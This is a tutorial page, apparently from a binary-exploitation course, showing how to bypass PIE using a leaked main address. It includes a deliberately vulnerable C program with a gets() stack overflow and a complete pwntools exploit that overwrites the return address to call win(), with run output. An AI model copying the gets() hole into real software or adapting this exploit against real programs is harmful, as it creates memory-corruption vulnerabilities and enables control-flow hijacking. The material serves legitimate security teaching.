Comment on page
PIE Bypass with Given Leak
Exploiting PIE with a given leak
pie-32.zip
3KB
Binary
PIE - 32-bit
#include <stdio.h>
int main() {
vuln();
return 0;
}
void vuln() {
char buffer[20];
printf("Main Function is at: %lx\n", main);
gets(buffer);
}
void win() {
puts("PIE bypassed! Great job :D");
}
Pretty simple - we print the address of
main
, which we can read and calculate the base address from. Then, using this, we can calculate the address of win()
itself.Let's just run the script to make sure it's the right one :D
$ ./vuln-32
Main Function is at: 0x5655d1b9
Yup, and as we expected, it prints the location of
main
.First, let's set up the script. We create an
ELF
object, which becomes very useful later on, and start the process.from pwn import *
elf = context.binary = ELF('./vuln-32')
p = process()
Now we want to take in the
main
function location. To do this we can simply receive up until it (and do nothing with that) and then read it.p.recvuntil('at: ')
main = int(p.recvline(), 16)
Since we received the entire line except for the address, only the address will come up with
p.recvline()
.Now we'll use the
ELF
object we created earlier and set its base address. The sym
dictionary returns the offsets of the functions from binary base until the base address is set, after which it returns the absolute address in memory.elf.address = main - elf.sym['main']
In this case,
elf.sym['main']
will return 0x11b9
; if we ran it again, it would return 0x11b9
+ the base address. So, essentially, we're subtracting the offset of main
from the address we leaked to get the base of the binary.Now we know the base we can just call
win()
.payload = b'A' * 32
payload += p32(elf.sym['win'])
p.sendline(payload)
print(p.clean().decode('latin-1'))
By this point, I assume you know how to find the padding length and other stuff we've been mentioning for a while, so I won't be showing you every step of that.
And does it work?
[*] 'vuln-32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process 'vuln-32': pid 4617
PIE bypassed! Great job :D
Awesome!
from pwn import *
elf = context.binary = ELF('./vuln-32')
p = process()
p.recvuntil('at: ')
main = int(p.recvline(), 16)
elf.address = main - elf.sym['main']
payload = b'A' * 32
payload += p32(elf.sym['win'])
p.sendline(payload)
print(p.clean().decode('latin-1'))
From the leak address of
main
, we were able to calculate the base address of the binary. From this we could then calculate the address of win
and call it.And one thing I would like to point out is how simple this exploit is. Look - it's 10 lines of code, at least half of which is scaffolding and setup.
Try this for yourself first, then feel free to check the solution. Same source, same challenge.
pie-64.zip
3KB
Binary
PIE - 64-bit
Last modified 3yr ago